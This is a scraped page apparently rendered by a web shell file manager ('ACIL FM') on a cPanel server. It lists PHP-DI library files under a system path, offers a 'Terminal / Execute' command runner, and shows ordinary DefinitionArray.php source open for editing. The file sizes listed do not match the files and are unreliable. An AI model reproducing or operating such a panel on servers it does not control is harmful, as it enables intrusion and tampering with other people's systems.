ACIL FM
Dark
Refresh
Current DIR:
/opt/cpanel/ea-wappspector/vendor/php-di/php-di/src/Definition/Source
/
opt
cpanel
ea-wappspector
vendor
php-di
php-di
src
Definition
Source
Upload
Zip Selected
Delete Selected
Pilih semua
Nama
Ukuran
Permission
Aksi
AttributeBasedAutowiring.php
8.59 MB
chmod
View
DL
Edit
Rename
Delete
Autowiring.php
519 B
chmod
View
DL
Edit
Rename
Delete
DefinitionArray.php
3.39 MB
chmod
View
DL
Edit
Rename
Delete
DefinitionFile.php
1.32 MB
chmod
View
DL
Edit
Rename
Delete
DefinitionNormalizer.php
3.67 MB
chmod
View
DL
Edit
Rename
Delete
DefinitionSource.php
633 B
chmod
View
DL
Edit
Rename
Delete
MutableDefinitionSource.php
356 B
chmod
View
DL
Edit
Rename
Delete
NoAutowiring.php
579 B
chmod
View
DL
Edit
Rename
Delete
ReflectionBasedAutowiring.php
2.37 MB
chmod
View
DL
Edit
Rename
Delete
SourceCache.php
2.38 MB
chmod
View
DL
Edit
Rename
Delete
SourceChain.php
2.63 MB
chmod
View
DL
Edit
Rename
Delete
Edit file: /opt/cpanel/ea-wappspector/vendor/php-di/php-di/src/Definition/Source/DefinitionArray.php
<?php declare(strict_types=1); namespace DI\Definition\Source; use DI\Definition\Definition; /** * Reads DI definitions from a PHP array. * * @author Matthieu Napoli <matthieu@mnapoli.fr> */ class DefinitionArray implements DefinitionSource, MutableDefinitionSource { public const WILDCARD = '*'; /** * Matches anything except "\". */ private const WILDCARD_PATTERN = '([^\\\\]+)'; /** DI definitions in a PHP array. */ private array $definitions; /** Cache of wildcard definitions. */ private ?array $wildcardDefinitions = null; private DefinitionNormalizer $normalizer; public function __construct(array $definitions = [], ?Autowiring $autowiring = null) { if (isset($definitions[0])) { throw new \Exception('The PHP-DI definition is not indexed by an entry name in the definition array'); } $this->definitions = $definitions; $this->normalizer = new DefinitionNormalizer($autowiring ?: new NoAutowiring); } /** * @param array $definitions DI definitions in a PHP array indexed by the definition name. */ public function addDefinitions(array $definitions) : void { if (isset($definitions[0])) { throw new \Exception('The PHP-DI definition is not indexed by an entry name in the definition array'); } // The newly added data prevails // "for keys that exist in both arrays, the elements from the left-hand array will be used" $this->definitions = $definitions + $this->definitions; // Clear cache $this->wildcardDefinitions = null; } public function addDefinition(Definition $definition) : void { $this->definitions[$definition->getName()] = $definition; // Clear cache $this->wildcardDefinitions = null; } public function getDefinition(string $name) : ?Definition { // Look for the definition by name if (array_key_exists($name, $this->definitions)) { $definition = $this->definitions[$name]; return $this->normalizer->normalizeRootDefinition($definition, $name); } // Build the cache of wildcard definitions if ($this->wildcardDefinitions === null) { $this->wildcardDefinitions = []; foreach ($this->definitions as $key => $definition) { if (str_contains($key, self::WILDCARD)) { $this->wildcardDefinitions[$key] = $definition; } } } // Look in wildcards definitions foreach ($this->wildcardDefinitions as $key => $definition) { // Turn the pattern into a regex $key = preg_quote($key, '#'); $key = '#^' . str_replace('\\' . self::WILDCARD, self::WILDCARD_PATTERN, $key) . '#'; if (preg_match($key, $name, $matches) === 1) { array_shift($matches); return $this->normalizer->normalizeRootDefinition($definition, $name, $matches); } } return null; } public function getDefinitions() : array { // Return all definitions except wildcard definitions $definitions = []; foreach ($this->definitions as $key => $definition) { if (! str_contains($key, self::WILDCARD)) { $definitions[$key] = $definition; } } return $definitions; } }
Simpan
Batal
Isi Zip:
Unzip
Create
Buat Folder
Buat File
Terminal / Execute
Run
Chmod Bulk
All File
All Folder
All File dan Folder
Apply